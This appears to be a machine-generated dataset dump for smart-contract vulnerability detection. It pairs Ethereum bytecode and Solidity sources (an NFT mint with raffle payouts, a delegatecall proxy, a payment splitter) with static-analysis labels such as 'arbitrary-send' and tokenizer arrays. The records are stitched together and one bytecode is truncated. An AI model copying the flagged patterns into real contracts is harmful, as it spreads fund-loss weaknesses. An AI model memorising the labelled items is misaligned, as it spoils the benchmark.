0x6080604052600436106102045760003560e01c80637f64978311610118578063b88d4fde116100a0578063db2e21bc1161006f578063db2e21bc146105af578063e222c7f9146105c4578063e985e9c5146105d9578063f2fde38b14610622578063f4a0a5281461064257600080fd5b8063b88d4fde14610543578063c002d23d14610563578063c87b56dd14610579578063c94028c21461059957600080fd5b806394985ddd116100e757806394985ddd146104ab57806395d89b41146104cb5780639b19251a146104e0578063a0712d6814610510578063a22cb4651461052357600080fd5b80637f6497831461045857806386d1a69f14610478578063897ad7b8146103ee5780638da5cb5b1461048d57600080fd5b806333bc1c5c1161019b57806370a082311161016a57806370a08231146103ce57806371273bb7146103ee578063715018a614610403578063729ad39e146104185780637900905c1461043857600080fd5b806333bc1c5c1461035457806342842e0e1461036e57806355f804b31461038e5780636352211e146103ae57600080fd5b806318160ddd116101d757806318160ddd146102ba578063197ebd53146102dd57806323b872dd146102fd57806332cb6b0c1461031d57600080fd5b806301ffc9a71461020957806306fdde031461023e578063081812fc14610260578063095ea7b314610298575b600080fd5b34801561021557600080fd5b506102296102243660046125bb565b610662565b60405190151581526020015b60405180910390f35b34801561024a57600080fd5b506102536106b4565b60405161023591906127cf565b34801561026c57600080fd5b5061028061027b366004612639565b610746565b6040516001600160a01b039091168152602001610235565b3480156102a457600080fd5b506102b86102b33660046124e5565b6107e0565b005b3480156102c657600080fd5b506102cf6108f6565b604051908152602001610235565b3480156102e957600080fd5b506102806102f8366004612639565b610906565b34801561030957600080fd5b506102b86103183660046123fb565b610930565b34801561032957600080fd5b506103336103e881565b6040516fffffffffffffffffffffffffffffffff9091168152602001610235565b34801561036057600080fd5b50600b546102299060ff1681565b34801561037a57600080fd5b506102b86103893660046123fb565b610961565b34801561039a57600080fd5b506102b86103a93660046125f3565b61097c565b3480156103ba57600080fd5b506102806103c9366004612639565b6109bd565b3480156103da57600080fd5b506102cf6103e93660046123af565b610a34565b3480156103fa57600080fd5b50610333600581565b34801561040f57600080fd5b506102b8610abb565b34801561042457600080fd5b506102b861043336600461250e565b610af1565b34801561044457600080fd5b506102cf610453366004612639565b610bda565b34801561046457600080fd5b506102b861047336600461250e565b610bfb565b34801561048457600080fd5b506102b8610d34565b34801561049957600080fd5b506006546001600160a01b0316610280565b3480156104b757600080fd5b506102b86104c636600461259a565b610d66565b3480156104d757600080fd5b50610253610de8565b3480156104ec57600080fd5b506102296104fb3660046123af565b600d6020526000908152604090205460ff1681565b6102b861051e366004612639565b610df7565b34801561052f57600080fd5b506102b861053e3660046124af565b610fd6565b34801561054f57600080fd5b506102b861055e366004612436565b610fe1565b34801561056f57600080fd5b506102cf60085481565b34801561058557600080fd5b50610253610594366004612639565b611013565b3480156105a557600080fd5b506102cf60095481565b3480156105bb57600080fd5b506102b86110ac565b3480156105d057600080fd5b506102b86110df565b3480156105e557600080fd5b506102296105f43660046123c9565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561062e57600080fd5b506102b861063d3660046123af565b61111d565b34801561064e57600080fd5b506102b861065d366004612639565b6111b8565b60006001600160e01b031982166380ac58cd60e01b148061069357506001600160e01b03198216635b5e139f60e01b145b806106ae57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546106c390612993565b80601f01602080910402602001604051908101604052809291908181526020018280546106ef90612993565b801561073c5780601f106107115761010080835404028352916020019161073c565b820191906000526020600020905b81548152906001019060200180831161071f57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107c45760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006107eb826109bd565b9050806001600160a01b0316836001600160a01b031614156108595760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107bb565b336001600160a01b0382161480610875575061087581336105f4565b6108e75760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107bb565b6108f183836111fa565b505050565b6000610901600f5490565b905090565b600c818154811061091657600080fd5b6000918252602090912001546001600160a01b0316905081565b61093a3382611268565b6109565760405162461bcd60e51b81526004016107bb906128b4565b6108f183838361135f565b6108f183838360405180602001604052806000815250610fe1565b6006546001600160a01b031633146109a65760405162461bcd60e51b81526004016107bb9061287f565b80516109b990600e90602084019061224a565b5050565b6000818152600260205260408120546001600160a01b0316806106ae5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107bb565b60006001600160a01b038216610a9f5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107bb565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610ae55760405162461bcd60e51b81526004016107bb9061287f565b610aef60006114ff565b565b6006546001600160a01b03163314610b1b5760405162461bcd60e51b81526004016107bb9061287f565b806103e881610b286108f6565b610b329190612905565b1115610b7a5760405162461bcd60e51b81526020600482015260176024820152765175616e74697479206578636565647320737570706c7960481b60448201526064016107bb565b60005b81811015610bd457610bc2848483818110610ba857634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610bbd91906123af565b611551565b610bcd600182612905565b9050610b7d565b50505050565b600a8181548110610bea57600080fd5b600091825260209091200154905081565b6006546001600160a01b03163314610c255760405162461bcd60e51b81526004016107bb9061287f565b8060005b81811015610bd4576000848483818110610c5357634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610c6891906123af565b6001600160a01b03161415610cbf5760405162461bcd60e51b815260206004820152601860248201527f43616e2774206164642061206e756c6c2061646472657373000000000000000060448201526064016107bb565b6001600d6000868685818110610ce557634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610cfa91906123af565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610d2d600182612905565b9050610c29565b610d3d336115b8565b1515600114610d5e5760405162461bcd60e51b81526004016107bb90612834565b610aef611634565b336001600160a01b037f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb79521614610dde5760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c7920565246436f6f7264696e61746f722063616e2066756c66696c6c0060448201526064016107bb565b6109b98282611686565b6060600180546106c390612993565b336000908152600d602052604090205460ff1680610e175750600b5460ff165b610e775760405162461bcd60e51b815260206004820152602b60248201527f4e6f742077686974656c697374656420616e64207075626c6963206d696e742060448201526a1b9bdd081cdd185c9d195960aa1b60648201526084016107bb565b6005811115610ed75760405162461bcd60e51b815260206004820152602660248201527f5175616e746974792065786365656473207065722d7472616e73616374696f6e604482015265081b1a5b5a5d60d21b60648201526084016107bb565b6103e881610ee36108f6565b610eed9190612905565b1115610f355760405162461bcd60e51b81526020600482015260176024820152765175616e74697479206578636565647320737570706c7960481b60448201526064016107bb565b6008543490610f4490836116ff565b1115610fb05760405162461bcd60e51b815260206004820152603560248201527f416d6f756e74206f662065746865722073656e7420646f6573206e6f74206d616044820152741d18da081d1bdd185b081b5a5b9d08185b5bdd5b9d605a1b60648201526084016107bb565b60005b818110156109b957610fc433611551565b610fcf600182612905565b9050610fb3565b6109b9338383611712565b610feb3383611268565b6110075760405162461bcd60e51b81526004016107bb906128b4565b610bd4848484846117e1565b6000818152600260205260409020546060906001600160a01b031661107a5760405162461bcd60e51b815260206004820152601760248201527f4552433732313a20746f6b656e206e6f7420666f756e6400000000000000000060448201526064016107bb565b600e61108583611814565b6040516020016110969291906126b1565b6040516020818303038152906040529050919050565b6110b5336115b8565b15156001146110d65760405162461bcd60e51b81526004016107bb90612834565b610aef4761192e565b6006546001600160a01b031633146111095760405162461bcd60e51b81526004016107bb9061287f565b600b805460ff19811660ff90911615179055565b6006546001600160a01b031633146111475760405162461bcd60e51b81526004016107bb9061287f565b6001600160a01b0381166111ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107bb565b6111b5816114ff565b50565b6006546001600160a01b031633146111e25760405162461bcd60e51b81526004016107bb9061287f565b600855565b5490565b80546001019055565b3b151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061122f826109bd565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166112e15760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107bb565b60006112ec836109bd565b9050806001600160a01b0316846001600160a01b031614806113275750836001600160a01b031661131c84610746565b6001600160a01b0316145b8061135757506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611372826109bd565b6001600160a01b0316146113da5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016107bb565b6001600160a01b03821661143c5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107bb565b6114476000826111fa565b6001600160a01b0383166000908152600360205260408120805460019290611470908490612950565b90915550506001600160a01b038216600090815260036020526040812080546001929061149e908490612905565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600061155c600f5490565b905061156c600f80546001019055565b61157682826119e2565b6103e8611582600f5490565b106109b9576040517f824331da7b5c31d137fa7c6ec4d25d7d5e80199f7683d061a1ea551a6c1ed81590600090a16109b9611634565b600c54600090815b8181101561162a57836001600160a01b0316600c82815481106115f357634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415611618575060019392505050565b611623600182612905565b90506115c0565b5060009392505050565b4761165361164e60286116488460646119fc565b906116ff565b61192e565b61166b611666601e6116488460646119fc565b611a08565b61167b601e6116488360646119fc565b6009556109b9611ab9565b611691816005611bf1565b80516116a591600a916020909101906122ce565b506109b9600a8054806020026020016040519081016040528092919081815260200182805480156116f557602002820191906000526020600020905b8154815260200190600101908083116116e1575b5050505050611cd5565b600061170b8284612931565b9392505050565b816001600160a01b0316836001600160a01b031614156117745760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107bb565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6117ec84848461135f565b6117f884848484611e3d565b610bd45760405162461bcd60e51b81526004016107bb906127e2565b6060816118385750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611862578061184c816129ce565b915061185b9050600a8361291d565b915061183c565b60008167ffffffffffffffff81111561188b57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156118b5576020820181803683370190505b5090505b8415611357576118ca600183612950565b91506118d7600a866129e9565b6118e2906030612905565b60f81b81838151811061190557634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611927600a8661291d565b94506118b9565b600c54600061193d83836119fc565b905060005b82811015610bd457600080600c838154811061196e57634e487b7160e01b600052603260045260246000fd5b60009182526020822001546040516001600160a01b039091169186919081818185875af1925050503d80600081146119c2576040519150601f19603f3d011682016040523d82523d6000602084013e6119c7565b606091505b509150915050506001816119db9190612905565b9050611942565b6109b9828260405180602001604052806000815250611f4a565b600061170b828461291d565b604051736b974a9f977a1056715dbd676f1ff9f1174bc0cc906000908190839085908381818185875af1925050503d8060008114611a62576040519150601f19603f3d011682016040523d82523d6000602084013e611a67565b606091505b509150915081610bd45760405162461bcd60e51b815260206004820152601f60248201527f4661696c65642073656e64696e6720457468657220746f20436861726974790060448201526064016107bb565b6040516370a0823160e01b8152306004820152600090671bc16d674ec800009081907f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316906370a082319060240160206040518083038186803b158015611b2757600080fd5b505afa158015611b3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5f9190612651565b1015611bc15760405162461bcd60e51b815260206004820152602b60248201527f4e6f7420656e6f756768204c494e4b202d2066696c6c20636f6e74726163742060448201526a1dda5d1a0819985d58d95d60aa1b60648201526084016107bb565b611beb7faa77729d3466ca35ae8d28b3bbac7cc36a5031efdc430821c02bc31a238af44582611f7d565b91505090565b60608167ffffffffffffffff811115611c1a57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611c43578160200160208202803683370190505b50905060005b82811015611cce5760408051602080820187905281830184905282518083038401815260609092019092528051910120611c86906103e8906129e9565b611c91906001612905565b828281518110611cb157634e487b7160e01b600052603260045260246000fd5b6020908102919091010152611cc7600182612905565b9050611c49565b5092915050565b6000611ced82516009546119fc90919063ffffffff16565b825190915060005b81811015610bd457600080611d30868481518110611d2357634e487b7160e01b600052603260045260246000fd5b60200260200101516109bd565b6001600160a01b03168560405160006040518083038185875af1925050503d8060008114611d7a576040519150601f19603f3d011682016040523d82523d6000602084013e611d7f565b606091505b509150915081868481518110611da557634e487b7160e01b600052603260045260246000fd5b6020026020010151604051602001611df991907f4661696c65642073656e64696e6720457468657220746f20526166666c652077815266034b73732b91d160cd1b6020820152602781019190915260470190565b60405160208183030381529060405290611e265760405162461bcd60e51b81526004016107bb91906127cf565b505050600181611e369190612905565b9050611cf5565b60006001600160a01b0384163b15611f3f57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611e8190339089908890889060040161276b565b602060405180830381600087803b158015611e9b57600080fd5b505af1925050508015611ecb575060408051601f3d908101601f19168201909252611ec8918101906125d7565b60015b611f25573d808015611ef9576040519150601f19603f3d011682016040523d82523d6000602084013e611efe565b606091505b508051611f1d5760405162461bcd60e51b81526004016107bb906127e2565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611357565b506001949350505050565b611f548383612108565b611f616000848484611e3d565b6108f15760405162461bcd60e51b81526004016107bb906127e2565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316634000aea07f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795284866000604051602001611fed929190918252602082015260400190565b6040516020818303038152906040526040518463ffffffff1660e01b815260040161201a939291906127a8565b602060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061206c919061257e565b50600083815260076020818152604080842054815180840189905280830186905230606082015260808082018390528351808303909101815260a0909101909252815191830191909120938790529190526120c8906001612905565b6000858152600760205260409020556113578482604080516020808201949094528082019290925280518083038201815260609092019052805191012090565b6001600160a01b03821661215e5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107bb565b6000818152600260205260409020546001600160a01b0316156121c35760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107bb565b6001600160a01b03821660009081526003602052604081208054600192906121ec908490612905565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461225690612993565b90600052602060002090601f01602090048101928261227857600085556122be565b82601f1061229157805160ff19168380011785556122be565b828001600101855582156122be579182015b828111156122be5782518255916020019190600101906122a3565b506122ca929150612308565b5090565b8280548282559060005260206000209081019282156122be57916020028201828111156122be5782518255916020019190600101906122a3565b5b808211156122ca5760008155600101612309565b600067ffffffffffffffff8084111561233857612338612a29565b604051601f8501601f19908116603f0116810190828211818310171561236057612360612a29565b8160405280935085815286868601111561237957600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146123aa57600080fd5b919050565b6000602082840312156123c0578081fd5b61170b82612393565b600080604083850312156123db578081fd5b6123e483612393565b91506123f260208401612393565b90509250929050565b60008060006060848603121561240f578081fd5b61241884612393565b925061242660208501612393565b9150604084013590509250925092565b6000806000806080858703121561244b578081fd5b61245485612393565b935061246260208601612393565b925060408501359150606085013567ffffffffffffffff811115612484578182fd5b8501601f81018713612494578182fd5b6124a38782356020840161231d565b91505092959194509250565b600080604083850312156124c1578182fd5b6124ca83612393565b915060208301356124da81612a3f565b809150509250929050565b600080604083850312156124f7578182fd5b61250083612393565b946020939093013593505050565b60008060208385031215612520578182fd5b823567ffffffffffffffff80821115612537578384fd5b818501915085601f83011261254a578384fd5b813581811115612558578485fd5b8660208260051b850101111561256c578485fd5b60209290920196919550909350505050565b60006020828403121561258f578081fd5b815161170b81612a3f565b600080604083850312156125ac578182fd5b50508035926020909101359150565b6000602082840312156125cc578081fd5b813561170b81612a4d565b6000602082840312156125e8578081fd5b815161170b81612a4d565b600060208284031215612604578081fd5b813567ffffffffffffffff81111561261a578182fd5b8201601f8101841361262a578182fd5b6113578482356020840161231d565b60006020828403121561264a578081fd5b5035919050565b600060208284031215612662578081fd5b5051919050565b60008151808452612681816020860160208601612967565b601f01601f19169290920160200192915050565b600081516126a7818560208601612967565b9290920192915050565b600080845482600182811c9150808316806126cd57607f831692505b60208084108214156126ed57634e487b7160e01b87526022600452602487fd5b81801561270157600181146127125761273e565b60ff1986168952848901965061273e565b60008b815260209020885b868110156127365781548b82015290850190830161271d565b505084890196505b5050505050506127626127518286612695565b64173539b7b760d91b815260050190565b95945050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061279e90830184612669565b9695505050505050565b60018060a01b03841681528260208201526060604082015260006127626060830184612669565b60208152600061170b6020830184612669565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252602b908201527f5769746864726177206d75737420626520696e6974696174656420627920612060408201526a3a32b0b69036b2b6b132b960a91b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115612918576129186129fd565b500190565b60008261292c5761292c612a13565b500490565b600081600019048311821515161561294b5761294b6129fd565b500290565b600082821015612962576129626129fd565b500390565b60005b8381101561298257818101518382015260200161296a565b83811115610bd45750506000910152565b600181811c908216806129a757607f821691505b602082108114156129c857634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156129e2576129e26129fd565b5060010190565b6000826129f8576129f8612a13565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b80151581146111b557600080fd5b6001600160e01b0319811681146111b557600080fdfea2646970667358221220b5c1acd8c10258945370a237d74373a096d8ba9bfb9cb8c99d1f57682036903764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 21486, 3401, 25746, 16932, 2094, 2683, 2050, 26976, 10790, 2620, 2683, 27814, 2575, 2050, 27814, 2683, 12521, 22025, 2546, 2509, 2497, 12521, 22022, 9818, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,423
0x96c342204e2bb0420bf5a1c715f8bfb4700fbed9
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @title NonReceivableInitializedProxy * @author Anna Carroll */ contract NonReceivableInitializedProxy { // address of logic contract address public immutable logic; // ======== Constructor ========= constructor(address _logic, bytes memory _initializationCalldata) { logic = _logic; // Delegatecall into the logic contract, supplying initialization calldata (bool _ok, bytes memory returnData) = _logic.delegatecall( _initializationCalldata ); // Revert if delegatecall to implementation reverts require(_ok, string(returnData)); } // ======== Fallback ========= fallback() external payable { address _impl = logic; assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize()) let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) let size := returndatasize() returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } }
0x608060405260043610601c5760003560e01c8063d7dfa0dd146062575b6040517f0000000000000000000000000c696f63a8cfd4b456f725f1174f1d5b48d1e8769036600082376000803683855af43d806000843e818015605e578184f35b8184fd5b348015606d57600080fd5b5060947f0000000000000000000000000c696f63a8cfd4b456f725f1174f1d5b48d1e87681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f3fea264697066735822122022bce6ccb56fc7799f9d68d15a8c664be8dbfadc95d6a50dfb2e95627f51e85564736f6c63430008090033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2278, 22022, 19317, 2692, 2549, 2063, 2475, 10322, 2692, 20958, 2692, 29292, 2629, 27717, 2278, 2581, 16068, 2546, 2620, 29292, 2497, 22610, 8889, 26337, 2098, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2512, 2890, 3401, 11444, 3468, 5498, 20925, 3550, 21572, 18037, 1008, 1030, 3166, 4698, 10767, 1008, 1013, 3206, 2512, 2890, 3401, 11444, 3468, 5498, 20925, 3550, 21572, 18037, 1063, 1013, 1013, 4769, 1997, 7961, 3206, 4769, 2270, 10047, 28120, 3085, 7961, 1025, 1013, 1013, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 9570, 2953, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 9570, 2953, 1006, 4769, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,424
0x96c35ce071cfdb641445f905386f1fd99d453de9
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } pragma solidity ^0.4.23; /** * @title SplitPayment * @dev Base contract that supports multiple payees claiming funds sent to this contract * according to the proportion they own. */ contract SplitPayment { using SafeMath for uint256; uint256 public totalShares = 0; uint256 public totalReleased = 0; mapping(address => uint256) public shares; mapping(address => uint256) public released; address[] public payees; /** * @dev Constructor */ constructor(address[] _payees, uint256[] _shares) public payable { require(_payees.length == _shares.length); for (uint256 i = 0; i < _payees.length; i++) { addPayee(_payees[i], _shares[i]); } } /** * @dev payable fallback */ function () public payable {} /** * @dev Claim your share of the balance. */ function claim() public { address payee = msg.sender; require(shares[payee] > 0); uint256 totalReceived = address(this).balance.add(totalReleased); uint256 payment = totalReceived.mul(shares[payee]).div(totalShares).sub(released[payee]); require(payment != 0); require(address(this).balance >= payment); released[payee] = released[payee].add(payment); totalReleased = totalReleased.add(payment); payee.transfer(payment); } /** * @dev Check your share of the balance. */ function checkMyBalance() public view returns(uint256) { uint256 totalReceived = address(this).balance.add(totalReleased); uint256 payment = totalReceived.mul(shares[msg.sender]).div(totalShares).sub(released[msg.sender]); return payment; } /** * @dev Add a new payee to the contract. * @param _payee The address of the payee to add. * @param _shares The number of shares owned by the payee. */ function addPayee(address _payee, uint256 _shares) internal { require(_payee != address(0)); require(_shares > 0); require(shares[_payee] == 0); payees.push(_payee); shares[_payee] = _shares; totalShares = totalShares.add(_shares); } }
0x608060405260043610610083576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633a98ef39146100855780634e71d92d146100b057806363037b0c146100c75780639852595c14610134578063b37d61f81461018b578063ce7c2ac2146101b6578063e33b7de31461020d575b005b34801561009157600080fd5b5061009a610238565b6040518082815260200191505060405180910390f35b3480156100bc57600080fd5b506100c561023e565b005b3480156100d357600080fd5b506100f2600480360381019080803590602001909291905050506104ad565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014057600080fd5b50610175600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104eb565b6040518082815260200191505060405180910390f35b34801561019757600080fd5b506101a0610503565b6040518082815260200191505060405180910390f35b3480156101c257600080fd5b506101f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105f7565b6040518082815260200191505060405180910390f35b34801561021957600080fd5b5061022261060f565b6040518082815260200191505060405180910390f35b60005481565b60008060003392506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561029457600080fd5b6102c06001543073ffffffffffffffffffffffffffffffffffffffff163161061590919063ffffffff16565b9150610379600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461036b60005461035d600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761063190919063ffffffff16565b61066990919063ffffffff16565b61067f90919063ffffffff16565b90506000811415151561038b57600080fd5b803073ffffffffffffffffffffffffffffffffffffffff1631101515156103b157600080fd5b61040381600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061590919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061045b8160015461061590919063ffffffff16565b6001819055508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156104a7573d6000803e3d6000fd5b50505050565b6004818154811015156104bc57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60036020528060005260406000206000915090505481565b60008060006105346001543073ffffffffffffffffffffffffffffffffffffffff163161061590919063ffffffff16565b91506105ed600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105df6000546105d1600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761063190919063ffffffff16565b61066990919063ffffffff16565b61067f90919063ffffffff16565b9050809250505090565b60026020528060005260406000206000915090505481565b60015481565b6000818301905082811015151561062857fe5b